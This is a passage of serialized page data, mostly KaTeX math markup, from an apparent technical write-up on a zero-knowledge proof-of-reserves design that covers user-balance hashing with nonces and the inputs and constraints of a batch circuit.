548},{"className":94547},[332,333,334,335],[94549],{"type":22,"tag":264,"props":94550,"children":94552},{"className":94551},[289,335],[94553],{"type":27,"value":602},{"type":22,"tag":264,"props":94555,"children":94557},{"className":94556},[396],[94558],{"type":27,"value":399},{"type":22,"tag":264,"props":94560,"children":94562},{"className":94561},[311],[94563],{"type":22,"tag":264,"props":94564,"children":94566},{"className":94565,"style":2721},[316],[94567],{"type":22,"tag":264,"props":94568,"children":94569},{},[],{"type":22,"tag":264,"props":94571,"children":94573},{"className":94572},[420],[94574],{"type":27,"value":22993},{"type":22,"tag":264,"props":94576,"children":94578},{"className":94577},[289],[94579],{"type":27,"value":10889},{"type":22,"tag":264,"props":94581,"children":94583},{"className":94582},[420],[94584],{"type":27,"value":22993},{"type":22,"tag":264,"props":94586,"children":94588},{"className":94587},[289],[94589],{"type":27,"value":94467},{"type":22,"tag":264,"props":94591,"children":94593},{"className":94592},[420],[94594],{"type":27,"value":22993},{"type":22,"tag":264,"props":94596,"children":94598},{"className":94597,"style":23347},[289,2178],[94599],{"type":27,"value":23350},{"type":22,"tag":264,"props":94601,"children":94604},{"className":94602,"style":94603},[289,2178],"margin-right:0.08125em;",[94605],{"type":27,"value":94606},"H",{"type":22,"tag":264,"props":94608,"children":94610},{"className":94609},[289,2178],[94611],{"type":27,"value":78093},{"type":22,"tag":264,"props":94613,"children":94615},{"className":94614},[289],[94616],{"type":27,"value":94617},"256",{"type":22,"tag":264,"props":94619,"children":94621},{"className":94620},[294],[94622],{"type":27,"value":2660},{"type":22,"tag":264,"props":94624,"children":94626},{"className":94625},[289,2178],[94627],{"type":27,"value":94628},"u",{"type":22,"tag":264,"props":94630,"children":94632},{"className":94631,"style":94370},[289,2178],[94633],{"type":27,"value":94634},"ser",{"type":22,"tag":264,"props":94636,"children":94638},{"className":94637,"style":94370},[289],[94639],{"type":27,"value":4385},{"type":22,"tag":264,"props":94641,"children":94643},{"className":94642},[289,2178],[94644],{"type":27,"value":5050},{"type":22,"tag":264,"props":94646,"children":94648},{"className":94647},[289,2178],[94649],{"type":27,"value":71888},{"type":22,"tag":264,"props":94651,"children":94653},{"className":94652},[415],[94654],{"type":27,"value":2806},{"type":22,"tag":264,"props":94656,"children":94658},{"className":94657},[420],[94659],{"type":27,"value":22993},{"type":22,"tag":264,"props":94661,"children":94663},{"className":94662},[289],[94664],{"type":27,"value":94467},{"type":22,"tag":264,"props":94666,"children":94668},{"className":94667},[420],[94669],{"type":27,"value":22993},{"type":22,"tag":264,"props":94671,"children":94673},{"className":94672},[289,2178],[94674],{"type":27,"value":94628},{"type":22,"tag":264,"props":94676,"children":94678},{"className":94677,"style":94370},[289,2178],[94679],{"type":27,"value":94634},{"type":22,"tag":264,"props":94681,"children":94683},{"className":94682,"style":94370},[289],[94684],{"type":27,"value":4385},{"type":22,"tag":264,"props":94686,"children":94688},{"className":94687},[289,2178],[94689],{"type":27,"value":57724},{"type":22,"tag":264,"props":94691,"children":94693},{"className":94692},[289,2178],[94694],{"type":27,"value":94340},{"type":22,"tag":264,"props":94696,"children":94698},{"className":94697},[289,2178],[94699],{"type":27,"value":57724},{"type":22,"tag":264,"props":94701,"children":94703},{"className":94702},[289,2178],[94704],{"type":27,"value":94397},{"type":22,"tag":264,"props":94706,"children":94708},{"className":94707},[415],[94709],{"type":27,"value":2806},{"type":22,"tag":23,"props":94711,"children":94712},{},[94713,94715,94721],{"type":27,"value":94714},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":22,"tag":257,"props":94716,"children":94718},{"className":94717},[],[94719],{"type":27,"value":94720},"uuid",{"type":27,"value":94722},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":22,"tag":181,"props":94724,"children":94726},{"id":94725},"batch-circuit",[94727],{"type":27,"value":94728},"Batch Circuit",{"type":22,"tag":23,"props":94730,"children":94731},{},[94732],{"type":27,"value":94733},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":22,"tag":23,"props":94735,"children":94736},{},[94737],{"type":22,"tag":242,"props":94738,"children":94739},{},[94740],{"type":27,"value":94741},"Public Inputs",{"type":22,"tag":17988,"props":94743,"children":94744},{},[94745,94750,94755],{"type":22,"tag":1871,"props":94746,"children":94747},{},[94748],{"type":27,"value":94749},"Asset prices in USD",{"type":22,"tag":1871,"props":94751,"children":94752},{},[94753],{"type":27,"value":94754},"Merkle tree hash",{"type":22,"tag":1871,"props":94756,"children":94757},{},[94758],{"type":27,"value":94759},"Summed asset balances",{"type":22,"tag":23,"props":94761,"children":94762},{},[94763],{"type":22,"tag":242,"props":94764,"children":94765},{},[94766],{"type":27,"value":94767},"Private Inputs",{"type":22,"tag":17988,"props":94769,"children":94770},{},[94771,94776],{"type":22,"tag":1871,"props":94772,"children":94773},{},[94774],{"type":27,"value":94775},"Users balances",{"type":22,"tag":1871,"props":94777,"children":94778},{},[94779],{"type":27,"value":94780},"Merkle tree leaves hashes",{"type":22,"tag":23,"props":94782,"children":94783},{},[94784],{"type":22,"tag":242,"props":94785,"children":94786},{},[94787],{"type":27,"value":94788},"Constraints",{"type":22,"tag":17988,"props":94790,"children":94791},{},[94792,95245,95412,95759,96157],{"type":22,"tag":1871,"props":94793,"children":94794},{},[94795],{"type":22,"tag":257,"props":94796,"children":94798},{"className":94797},[260,261],[94799],{"type":22,"tag":264,"props":94800,"children":94802},{"className":94801},[267],[94803],{"type":22,"tag":264,"props":94804,"children":94806},{"className":94805,"ariaHidden":273},[272],[94807,94946,95150],{"type":22,"tag":264,"props":94808,"children":94810},{"className":94809},[278],[94811,94816,94821,94827,94832,94837,94842,94847,94852,94859,94864,94869,94874,94933,94937,94942],{"type":22,"tag":264,"props":94812,"children":94815},{"className":94813,"style":94814},[283],"height:0.9695em;vertical-align:-0.31em;",[],{"type":22,"tag":264,"props":94817,"children":94819},{"className":94818},[289,2178],[94820],{"type":27,"value":69},{"type":22,"tag":264,"props":94822,"children":94824},{"className":94823},[289,2178],[94825],{"type":27,"value":94826},"cco",{"type":22,"tag":264,"props":94828,"children":94830},{"className":94829},[289,2178],[94831],{"type":27,"value":94628},{"type":22,"tag":264,"props":94833,"children":94835},{"className":94834},[289,2178],[94836],{"type":27,"value":57724},{"type":22,"tag":264,"props":94838,"children":94840},{"className":94839},[289,2178],[94841],{"type":27,"value":23033},{"type":22,"tag":264,"props":94843,"children":94845},{"className":94844,"style":94370},[289],[94846],{"type":27,"value":4385},{"type":22,"tag":264,"props":94848,"children":94850},{"className":94849},[289,2178],[94851],{"type":27,"value":52775},{"type":22,"tag":264,"props":94853,"children":94856},{"className":94854,"style":94855},[289,2178],"margin-right:0.03588em;",[94857],{"type":27,"value":94858},"q",{"type":22,"tag":264,"props":94860,"children":94862},{"className":94861},[289,2178],[94863],{"type":27,"value":94628},{"type":22,"tag":264,"props":94865,"children":94867},{"className":94866},[289,2178],[94868],{"type":27,"value":5050},{"type":22,"tag":264,"props":94870,"children":94872},{"className":94871},[289,2178],[94873],{"type":27,"value":23033},{"type":22,"tag":264,"props":94875,"children":94877},{"className":94876},[289],[94878,94883],{"type":22,"tag":264,"props":94879,"children":94881},{"className":94880,"style":94855},[289,2178],[94882],{"type":27,"value":4418},{"type":22,"tag":264,"props":94884,"children":94886},{"className":94885},[2147],[94887],{"type":22,"tag":264,"props":94888,"children":94890},{"className":94889},[305,306],[94891,94922],{"type":22,"tag":264,"props":94892,"children":94894},{"className":94893},[311],[94895,94917],{"type":22,"tag":264,"props":94896,"children":94899},{"className":94897,"style":94898},[316],"height:0.3117em;",[94900],{"type":22,"tag":264,"props":94901,"children":94903},{"style":94902},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[94904,94908],{"type":22,"tag":264,"props":94905,"children":94907},{"className":94906,"style":2169},[326],[],{"type":22,"tag":264,"props":94909,"children":94911},{"className":94910},[332,333,334,335],[94912],{"type":22,"tag":264,"props":94913,"children":94915},{"className":94914},[289,2178,335],[94916],{"type":27,"value":5050},{"type":22,"tag":264,"props":94918,"children":94920},{"className":94919},[396],[94921],{"type":27,"value":399},{"type":22,"tag":264,"props":94923,"children":94925},{"className":94924},[311],[94926],{"type":22,"tag":264,"props":94927,"children":94929},{"className":94928,"style":2721},[316],[94930],{"type":22,"tag":264,"props":94931,"children":94932},{},[],{"type":22,"tag":264,"props":94934,"children":94936},{"className":94935,"style":421},[420],[],{"type":22,"tag":264,"props":94938,"children":94940},{"className":94939},[426],[94941],{"type":27,"value":9870},{"type":22,"tag":264,"props":94943,"children":94945},{"className":94944,"style":421},[420],[],{"type":22,"tag":264,"props":94947,"children":94949},{"className":94948},[278],[94950,94954,94960,94965,94970,94975,94980,94985,94990,94995,95000,95005,95010,95015,95020,95025,95030,95035,95092,95097,95102,95107,95112,95117,95122,95127,95132,95137,95141,95146],{"type":22,"tag":264,"props":94951,"children":94953},{"className":94952,"style":94312},[283],[],{"type":22,"tag":264,"props":94955,"children":94957},{"className":94956},[289],[94958],{"type":27,"value":94959},"Σ",{"type":22,"tag":264,"props":94961,"children":94963},{"className":94962},[420],[94964],{"type":27,"value":22993},{"type":22,"tag":264,"props":94966,"children":94968},{"className":94967},[289,2178],[94969],{"type":27,"value":69},{"type":22,"tag":264,"props":94971,"children":94973},{"className":94972},[289,2178],[94974],{"type":27,"value":94826},{"type":22,"tag":264,"props":94976,"children":94978},{"className":94977},[289,2178],[94979],{"type":27,"value":94628},{"type":22,"tag":264,"props":94981,"children":94983},{"className":94982},[289,2178],[94984],{"type":27,"value":57724},{"type":22,"tag":264,"props":94986,"children":94988},{"className":94987},[289,2178],[94989],{"type":27,"value":23033},{"type":22,"tag":264,"props":94991,"children":94993},{"className":94992,"style":94370},[289],[94994],{"type":27,"value":4385},{"type":22,"tag":264,"props":94996,"children":94998},{"className":94997},[289,2178],[94999],{"type":27,"value":69},{"type":22,"tag":264,"props":95001,"children":95003},{"className":95002},[289,2178],[95004],{"type":27,"value":94361},{"type":22,"tag":264,"props":95006,"children":95008},{"className":95007},[289,2178],[95009],{"type":27,"value":23033},{"type":22,"tag":264,"props":95011,"children":95013},{"className":95012,"style":94370},[289],[95014],{"type":27,"value":4385},{"type":22,"tag":264,"props":95016,"children":95018},{"className":95017},[289,2178],[95019],{"type":27,"value":94378},{"type":22,"tag":264,"props":95021,"children":95023},{"className":95022,"style":94382},[289,2178],[95024],{"type":27,"value":94385},{"type":22,"tag":264,"props":95026,"children":95028},{"className":95027},[289,2178],[95029],{"type":27,"value":94391},{"type":22,"tag":264,"props":95031,"children":95033},{"className":95032},[289,2178],[95034],{"type":27,"value":94397},{"type":22,"tag":264,"props":95036,"children":95038},{"className":95037},[289],[95039,95044],{"type":22,"tag":264,"props":95040,"children":95042},{"className":95041},[289,2178],[95043],{"type":27,"value":11950},{"type":22,"tag":264,"props":95045,"children":95047},{"className":95046},[2147],[95048],{"type":22,"tag":264,"props":95049,"children":95051},{"className":95050},[305,306],[95052,95081],{"type":22,"tag":264,"props":95053,"children":95055},{"className":95054},[311],[95056,95076],{"type":22,"tag":264,"props":95057,"children":95059},{"className":95058,"style":94898},[316],[95060],{"type":22,"tag":264,"props":95061,"children":95062},{"style":94426},[95063,95067],{"type":22,"tag":264,"props":95064,"children":95066},{"className":95065,"style":2169},[326],[],{"type":22,"tag":264,"props":95068,"children":95070},{"className":95069},[332,333,334,335],[95071],{"type":22,"tag":264,"props":95072,"children":95074},{"className":95073},[289,2178,335],[95075],{"type":27,"value":5050},{"type":22,"tag":264,"props":95077,"children":95079},{"className":95078},[396],[95080],{"type":27,"value":399},{"type":22,"tag":264,"props":95082,"children":95084},{"className":95083},[311],[95085],{"type":22,"tag":264,"props":95086,"children":95088},{"className":95087,"style":2721},[316],[95089],{"type":22,"tag":264,"props":95090,"children":95091},{},[],{"type":22,"tag":264,"props":95093,"children":95095},{"className":95094},[294],[95096],{"type":27,"value":5045},{"type":22,"tag":264,"props":95098,"children":95100},{"className":95099},[289,2178],[95101],{"type":27,"value":69},{"type":22,"tag":264,"props":95103,"children":95105},{"className":95104},[289,2178],[95106],{"type":27,"value":94361},{"type":22,"tag":264,"props":95108,"children":95110},{"className":95109},[289,2178],[95111],{"type":27,"value":23033},{"type":22,"tag":264,"props":95113,"children":95115},{"className":95114,"style":94370},[289],[95116],{"type":27,"value":4385},{"type":22,"tag":264,"props":95118,"children":95120},{"className":95119},[289,2178],[95121],{"type":27,"value":57724},{"type":22,"tag":264,"props":95123,"children":95125},{"className":95124},[289,2178],[95126],{"type":27,"value":94628},{"type":22,"tag":264,"props":95128,"children":95130},{"className":95129},[289,2178],[95131],{"type":27,"value":52454},{"type":22,"tag":264,"props":95133,"children":95135},{"className":95134},[415],[95136],{"type":27,"value":16710},{"type":22,"tag":264,"props":95138,"children":95140},{"className":95139,"style":665},[420],[],{"type":22,"tag":264,"props":95142,"children":95144},{"className":95143},[670],[95145],{"type":27,"value":867},{"type":22,"tag":264,"props":95147,"children":95149},{"className":95148,"style":665},[420],[],{"type":22,"tag":264,"props":95151,"children":95153},{"className":95152},[278],[95154,95158,95163,95168,95173,95178,95183,95189,95194,95200,95205,95210,95215,95220,95225,95230,95235,95240],{"type":22,"tag":264,"props":95155,"children":95157},{"className":95156,"style":94312},[283],[],{"type":22,"tag":264,"props":95159,"children":95161},{"className":95160},[289,2178],[95162],{"type":27,"value":69},{"type":22,"tag":264,"props":95164,"children":95166},{"className":95165},[289,2178],[95167],{"type":27,"value":94361},{"type":22,"tag":264,"props":95169,"children":95171},{"className":95170},[289,2178],[95172],{"type":27,"value":23033},{"type":22,"tag":264,"props":95174,"children":95176},{"className":95175,"style":94370},[289],[95177],{"type":27,"value":4385},{"type":22,"tag":264,"props":95179,"children":95181},{"className":95180},[289,2178],[95182],{"type":27,"value":23},{"type":22,"tag":264,"props":95184,"children":95186},{"className":95185,"style":94370},[289,2178],[95187],{"type":27,"value":95188},"r",{"type":22,"tag":264,"props":95190,"children":95192},{"className":95191},[289,2178],[95193],{"type":27,"value":5050},{"type":22,"tag":264,"props":95195,"children":95197},{"className":95196},[289,2178],[95198],{"type":27,"value":95199},"ces",{"type":22,"tag":264,"props":95201,"children":95203},{"className":95202},[294],[95204],{"type":27,"value":5045},{"type":22,"tag":264,"props":95206,"children":95208},{"className":95207},[289,2178],[95209],{"type":27,"value":69},{"type":22,"tag":264,"props":95211,"children":95213},{"className":95212},[289,2178],[95214],{"type":27,"value":94361},{"type":22,"tag":264,"props":95216,"children":95218},{"className":95217},[289,2178],[95219],{"type":27,"value":23033},{"type":22,"tag":264,"props":95221,"children":95223},{"className":95222,"style":94370},[289],[95224],{"type":27,"value":4385},{"type":22,"tag":264,"props":95226,"children":95228},{"className":95227},[289,2178],[95229],{"type":27,"value":57724},{"type":22,"tag":264,"props":95231,"children":95233},{"className":95232},[289,2178],[95234],{"type":27,"value":94628},{"type":22,"tag":264,"props":95236,"children":95238},{"className":95237},[289,2178],[95239],{"type":27,"value":52454},{"type":22,"tag":264,"props":95241,"children":95243},{"className":95242},[415],[95244],{"type":27,"value":16710},{"type":22,"tag":1871,"props":95246,"children":95247},{},[95248,95406,95407],{"type":22,"tag":257,"props":95249,"children":95251},{"className":95250},[260,261],[95252],{"type":22,"tag":264,"props":95253,"children":95255},{"className":95254},[267],[95256],{"type":22,"tag":264,"props":95257,"children":95259},{"className":95258,"ariaHidden":273},[272],[95260,95393],{"type":22,"tag":264,"props":95261,"children":95263},{"className":95262},[278],[95264,95268,95273,95278,95283,95288,95293,95298,95303,95308,95313,95318,95323,95380,95384,95389],{"type":22,"tag":264,"props":95265,"children":95267},{"className":95266,"style":94814},[283],[],{"type":22,"tag":264,"props":95269,"children":95271},{"className":95270},[289,2178],[95272],{"type":27,"value":69},{"type":22,"tag":264,"props":95274,"children":95276},{"className":95275},[289,2178],[95277],{"type":27,"value":94826},{"type":22,"tag":264,"props":95279,"children":95281},{"className":95280},[289,2178],[95282],{"type":27,"value":94628},{"type":22,"tag":264,"props":95284,"children":95286},{"className":95285},[289,2178],[95287],{"type":27,"value":57724},{"type":22,"tag":264,"props":95289,"children":95291},{"className":95290},[289,2178],[95292],{"type":27,"value":23033},{"type":22,"tag":264,"props":95294,"children":95296},{"className":95295,"style":94370},[289],[95297],{"type":27,"value":4385},{"type":22,"tag":264,"props":95299,"children":95301},{"className":95300},[289,2178],[95302],{"type":27,"value":52775},{"type":22,"tag":264,"props":95304,"children":95306},{"className":95305,"style":94855},[289,2178],[95307],{"type":27,"value":94858},{"type":22,"tag":264,"props":95309,"children":95311},{"className":95310},[289,2178],[95312],{"type":27,"value":94628},{"type":22,"tag":264,"props":95314,"children":95316},{"className":95315},[289,2178],[95317],{"type":27,"value":5050},{"type":22,"tag":264,"props":95319,"children":95321},{"className":95320},[289,2178],[95322],{"type":27,"value":23033},{"type":22,"tag":264,"props":95324,"children":95326},{"className":95325},[289],[95327,95332],{"type":22,"tag":264,"props":95328,"children":95330},{"className":95329,"style":94855},[289,2178],[95331],{"type":27,"value":4418},{"type":22,"tag":264,"props":95333,"children":95335},{"className":95334},[2147],[95336],{"type":22,"tag":264,"props":95337,"children":95339},{"className":95338},[305,306],[95340,95369],{"type":22,"tag":264,"props":95341,"children":95343},{"className":95342},[311],[95344,95364],{"type":22,"tag":264,"props":95345,"children":95347},{"className":95346,"style":94898},[316],[95348],{"type":22,"tag":264,"props":95349,"children":95350},{"style":94902},[95351,95355],{"type":22,"tag":264,"props":95352,"children":95354},{"className":95353,"style":2169},[326],[],{"type":22,"tag":264,"props":95356,"children":95358},{"className":95357},[332,333,334,335],[95359],{"type":22,"tag":264,"props":95360,"children":95362},{"className":95361},[289,2178,335],[95363],{"type":27,"value":5050},{"type":22,"tag":264,"props":95365,"children":95367},{"className":95366},[396],[95368],{"type":27,"value":399},{"type":22,"tag":264,"props":95370,"children":95372},{"className":95371},[311],[95373],{"type":22,"tag":264,"props":95374,"children":95376},{"className":95375,"style":2721},[316],[95377],{"type":22,"tag":264,"props":95378,"children":95379},{},[],{"type":22,"tag":264,"props":95381,"children":95383},{"className":95382,"style":421},[420],[],{"type":22,"tag":264,"props":95385,"children":95387},{"className":95386},[426],[95388],{"type":27,"value":11242},{"type":22,"tag":264,"props":95390,"children":95392},{"className":95391,"style":421},[420],[],{"type":22,"tag":264,"props":95394,"children":95396},{"className":95395},[278],[95397,95401],{"type":22,"tag":264,"props":95398,"children":95400},{"className":95399,"style":850},[283],[],{"type":22,"tag":264,"props":95402,"children":95404},{"className":95403},[289],[95405],{"type":27,"value":5334},{"type":27,"value":7750},{"type":22,"tag":242,"props":95408,"children":95409},{},[95410],{"type":27,"value":95411},"(non-negativity)",{"type":22,"tag":1871,"props":95413,"children":95414},{},[95415,95753,95754],{"type":22,"tag":257,"props":95416,"children":95418},{"className":95417},[260,261],[95419],{"type":22,"tag":264,"props":95420,"children":95422},{"className":95421},[267],[95423],{"type":22,"tag":264,"props":95424,"children":95426},{"className":95425,"ariaHidden":273},[272],[95427,95563],{"type":22,"tag":264,"props":95428,"children":95430},{"className":95429},[278],[95431,95435,95440,95445,95450,95455,95460,95465,95470,95475,95480,95485,95490,95495,95500,95505,95510,95515,95520,95525,95530,95535,95540,95545,95550,95554,95559],{"type":22,"tag":264,"props":95432,"children":95434},{"className":95433,"style":94312},[283],[],{"type":22,"tag":264,"props":95436,"children":95438},{"className":95437},[289,2178],[95439],{"type":27,"value":23033},{"type":22,"tag":264,"props":95441,"children":95443},{"className":95442},[289,2178],[95444],{"type":27,"value":94340},{"type":22,"tag":264,"props":95446,"children":95448},{"className":95447},[289,2178],[95449],{"type":27,"value":23033},{"type":22,"tag":264,"props":95451,"children":95453},{"className":95452},[289,2178],[95454],{"type":27,"value":69},{"type":22,"tag":264,"props":95456,"children":95458},{"className":95457,"style":94382},[289,2178],[95459],{"type":27,"value":94385},{"type":22,"tag":264,"props":95461,"children":95463},{"className":95462,"style":94370},[289],[95464],{"type":27,"value":4385},{"type":22,"tag":264,"props":95466,"children":95468},{"className":95467},[289,2178],[95469],{"type":27,"value":69},{"type":22,"tag":264,"props":95471,"children":95473},{"className":95472},[289,2178],[95474],{"type":27,"value":94361},{"type":22,"tag":264,"props":95476,"children":95478},{"className":95477},[289,2178],[95479],{"type":27,"value":23033},{"type":22,"tag":264,"props":95481,"children":95483},{"className":95482,"style":94370},[289],[95484],{"type":27,"value":4385},{"type":22,"tag":264,"props":95486,"children":95488},{"className":95487},[289,2178],[95489],{"type":27,"value":94378},{"type":22,"tag":264,"props":95491,"children":95493},{"className":95492,"style":94382},[289,2178],[95494],{"type":27,"value":94385},{"type":22,"tag":264,"props":95496,"children":95498},{"className":95497},[289,2178],[95499],{"type":27,"value":94391},{"type":22,"tag":264,"props":95501,"children":95503},{"className":95502},[289,2178],[95504],{"type":27,"value":94397},{"type":22,"tag":264,"props":95506,"children":95508},{"className":95507},[294],[95509],{"type":27,"value":5045},{"type":22,"tag":264,"props":95511,"children":95513},{"className":95512},[289,2178],[95514],{"type":27,"value":69},{"type":22,"tag":264,"props":95516,"children":95518},{"className":95517},[289,2178],[95519],{"type":27,"value":94361},{"type":22,"tag":264,"props":95521,"children":95523},{"className":95522},[289,2178],[95524],{"type":27,"value":23033},{"type":22,"tag":264,"props":95526,"children":95528},{"className":95527,"style":94370},[289],[95529],{"type":27,"value":4385},{"type":22,"tag":264,"props":95531,"children":95533},{"className":95532},[289,2178],[95534],{"type":27,"value":57724},{"type":22,"tag":264,"props":95536,"children":95538},{"className":95537},[289,2178],[95539],{"type":27,"value":94628},{"type":22,"tag":264,"props":95541,"children":95543},{"className":95542},[289,2178],[95544],{"type":27,"value":52454},{"type":22,"tag":264,"props":95546,"children":95548},{"className":95547},[415],[95549],{"type":27,"value":16710},{"type":22,"tag":264,"props":95551,"children":95553},{"className":95552,"style":421},[420],[],{"type":22,"tag":264,"props":95555,"children":95557},{"className":95556},[426],[95558],{"type":27,"value":9870},{"type":22,"tag":264,"props":95560,"children":95562},{"className":95561,"style":421},[420],[],{"type":22,"tag":264,"props":95564,"children":95566},{"className":95565},[278],[95567,95571,95576,95581,95586,95591,95596,95601,95606,95611,95616,95621,95626,95631,95636,95641,95646,95651,95708,95713,95718,95723,95728,95733,95738,95743,95748],{"type":22,"tag":264,"props":95568,"children":95570},{"className":95569,"style":94312},[283],[],{"type":22,"tag":264,"props":95572,"children":95574},{"className":95573},[289],[95575],{"type":27,"value":94959},{"type":22,"tag":264,"props":95577,"children":95579},{"className":95578},[420],[95580],{"type":27,"value":22993},{"type":22,"tag":264,"props":95582,"children":95584},{"className":95583},[289,2178],[95585],{"type":27,"value":69},{"type":22,"tag":264,"props":95587,"children":95589},{"className":95588},[289,2178],[95590],{"type":27,"value":94826},{"type":22,"tag":264,"props":95592,"children":95594},{"className":95593},[289,2178],[95595],{"type":27,"value":94628},{"type":22,"tag":264,"props":95597,"children":95599},{"className":95598},[289,2178],[95600],{"type":27,"value":57724},{"type":22,"tag":264,"props":95602,"children":95604},{"className":95603},[289,2178],[95605],{"type":27,"value":23033},{"type":22,"tag":264,"props":95607,"children":95609},{"className":95608,"style":94370},[289],[95610],{"type":27,"value":4385},{"type":22,"tag":264,"props":95612,"children":95614},{"className":95613},[289,2178],[95615],{"type":27,"value":69},{"type":22,"tag":264,"props":95617,"children":95619},{"className":95618},[289,2178],[95620],{"type":27,"value":94361},{"type":22,"tag":264,"props":95622,"children":95624},{"className":95623},[289,2178],[95625],{"type":27,"value":23033},{"type":22,"tag":264,"props":95627,"children":95629},{"className":95628,"style":94370},[289],[95630],{"type":27,"value":4385},{"type":22,"tag":264,"props":95632,"children":95634},{"className":95633},[289,2178],[95635],{"type":27,"value":94378},{"type":22,"tag":264,"props":95637,"children":95639},{"className":95638,"style":94382},[289,2178],[95640],{"type":27,"value":94385},{"type":22,"tag":264,"props":95642,"children":95644},{"className":95643},[289,2178],[95645],{"type":27,"value":94391},{"type":22,"tag":264,"props":95647,"children":95649},{"className":95648},[289,2178],[95650],{"type":27,"value":94397},{"type":22,"tag":264,"props":95652,"children":95654},{"className":95653},[289],[95655,95660],{"type":22,"tag":264,"props":95656,"children":95658},{"className":95657},[289,2178],[95659],{"type":27,"value":11950},{"type":22,"tag":264,"props":95661,"children":95663},{"className":95662},[2147],[95664],{"type":22,"tag":264,"props":95665,"children":95667},{"className":95666},[305,306],[95668,95697],{"type":22,"tag":264,"props":95669,"children":95671},{"className":95670},[311],[95672,95692],{"type":22,"tag":264,"props":95673,"children":95675},{"className":95674,"style":94898},[316],[95676],{"type":22,"tag":264,"props":95677,"children":95678},{"style":94426},[95679,95683],{"type":22,"tag":264,"props":95680,"children":95682},{"className":95681,"style":2169},[326],[],{"type":22,"tag":264,"props":95684,"children":95686},{"className":95685},[332,333,334,335],[95687],{"type":22,"tag":264,"props":95688,"children":95690},{"className":95689},[289,2178,335],[95691],{"type":27,"value":5050},{"type":22,"tag":264,"props":95693,"children":95695},{"className":95694},[396],[95696],{"type":27,"value":399},{"type":22,"tag":264,"props":95698,"children":95700},{"className":95699},[311],[95701],{"type":22,"tag":264,"props":95702,"children":95704},{"className":95703,"style":2721},[316],[95705],{"type":22,"tag":264,"props":95706,"children":95707},{},[],{"type":22,"tag":264,"props":95709,"children":95711},{"className":95710},[294],[95712],{"type":27,"value":5045},{"type":22,"tag":264,"props":95714,"children":95716},{"className":95715},[289,2178],[95717],{"type":27,"value":69},{"type":22,"tag":264,"props":95719,"children":95721},{"className":95720},[289,2178],[95722],{"type":27,"value":94361},{"type":22,"tag":264,"props":95724,"children":95726},{"className":95725},[289,2178],[95727],{"type":27,"value":23033},{"type":22,"tag":264,"props":95729,"children":95731},{"className":95730,"style":94370},[289],[95732],{"type":27,"value":4385},{"type":22,"tag":264,"props":95734,"children":95736},{"className":95735},[289,2178],[95737],{"type":27,"value":57724},{"type":22,"tag":264,"props":95739,"children":95741},{"className":95740},[289,2178],[95742],{"type":27,"value":94628},{"type":22,"tag":264,"props":95744,"children":95746},{"className":95745},[289,2178],[95747],{"type":27,"value":52454},{"type":22,"tag":264,"props":95749,"children":95751},{"className":95750},[415],[95752],{"type":27,"value":16710},{"type":27,"value":7750},{"type":22,"tag":242,"props":95755,"children":95756},{},[95757],{"type":27,"value":95758},"(sum proof)",{"type":22,"tag":1871,"props":95760,"children":95761},{},[95762,96151,96152],{"type":22,"tag":257,"props":95763,"children":95765},{"className":95764},[260,261],[95766],{"type":22,"tag":264,"props":95767,"children":95769},{"className":95768},[267],[95770],{"type":22,"tag":264,"props":95771,"children":95773},{"className":95772,"ariaHidden":273},[272],[95774,95860],{"type":22,"tag":264,"props":95775,"children":95777},{"className":95776},[278],[95778,95783,95788,95794,95800,95805,95810,95815,95820,95826,95831,95837,95842,95847,95851,95856],{"type":22,"tag":264,"props":95779,"children":95782},{"className":95780,"style":95781},[283],"height:1.0044em;vertical-align:-0.31em;",[],{"type":22,"tag":264,"props":95784,"children":95786},{"className":95785},[289,2178],[95787],{"type":27,"value":52454},{"type":22,"tag":264,"props":95789,"children":95791},{"className":95790,"style":94370},[289,2178],[95792],{"type":27,"value":95793},"er",{"type":22,"tag":264,"props":95795,"children":95798},{"className":95796,"style":95797},[289,2178],"margin-right:0.03148em;",[95799],{"type":27,"value":90009},{"type":22,"tag":264,"props":95801,"children":95803},{"className":95802,"style":94382},[289,2178],[95804],{"type":27,"value":94385},{"type":22,"tag":264,"props":95806,"children":95808},{"className":95807},[289,2178],[95809],{"type":27,"value":52775},{"type":22,"tag":264,"props":95811,"children":95813},{"className":95812,"style":94370},[289],[95814],{"type":27,"value":4385},{"type":22,"tag":264,"props":95816,"children":95818},{"className":95817},[289,2178],[95819],{"type":27,"value":23033},{"type":22,"tag":264,"props":95821,"children":95823},{"className":95822},[289,2178],[95824],{"type":27,"value":95825},"ree",{"type":22,"tag":264,"props":95827,"children":95829},{"className":95828,"style":94370},[289],[95830],{"type":27,"value":4385},{"type":22,"tag":264,"props":95832,"children":95834},{"className":95833},[289,2178],[95835],{"type":27,"value":95836},"ha",{"type":22,"tag":264,"props":95838,"children":95840},{"className":95839},[289,2178],[95841],{"type":27,"value":11950},{"type":22,"tag":264,"props":95843,"children":95845},{"className":95844},[289,2178],[95846],{"type":27,"value":85670},{"type":22,"tag":264,"props":95848,"children":95850},{"className":95849,"style":421},[420],[],{"type":22,"tag":264,"props":95852,"children":95854},{"className":95853},[426],[95855],{"type":27,"value":9870},{"type":22,"tag":264,"props":95857,"children":95859},{"className":95858,"style":421},[420],[],{"type":22,"tag":264,"props":95861,"children":95863},{"className":95862},[278],[95864,95868,95873,95878,95883,95888,95893,95898,95903,95908,95913,95970,95975,95979,95984,95989,96046,96051,96056,96060,96065,96070,96074,96079,96084,96146],{"type":22,"tag":264,"props":95865,"children":95867},{"className":95866,"style":5409},[283],[],{"type":22,"tag":264,"props":95869,"children":95871},{"className":95870,"style":22894},[289,2178],[95872],{"type":27,"value":22897},{"type":22,"tag":264,"props":95874,"children":95876},{"className":95875},[289,2178],[95877],{"type":27,"value":94324},{"type":22,"tag":264,"props":95879,"children":95881},{"className":95880},[289,2178],[95882],{"type":27,"value":5050},{"type":22,"tag":264,"props":95884,"children":95886},{"className":95885},[289,2178],[95887],{"type":27,"value":71888},{"type":22,"tag":264,"props":95889,"children":95891},{"className":95890},[289,2178],[95892],{"type":27,"value":94340},{"type":22,"tag":264,"props":95894,"children":95896},{"className":95895},[289,2178],[95897],{"type":27,"value":57724},{"type":22,"tag":264,"props":95899,"children":95901},{"className":95900},[294],[95902],{"type":27,"value":2660},{"type":22,"tag":264,"props":95904,"children":95906},{"className":95905},[289,2178],[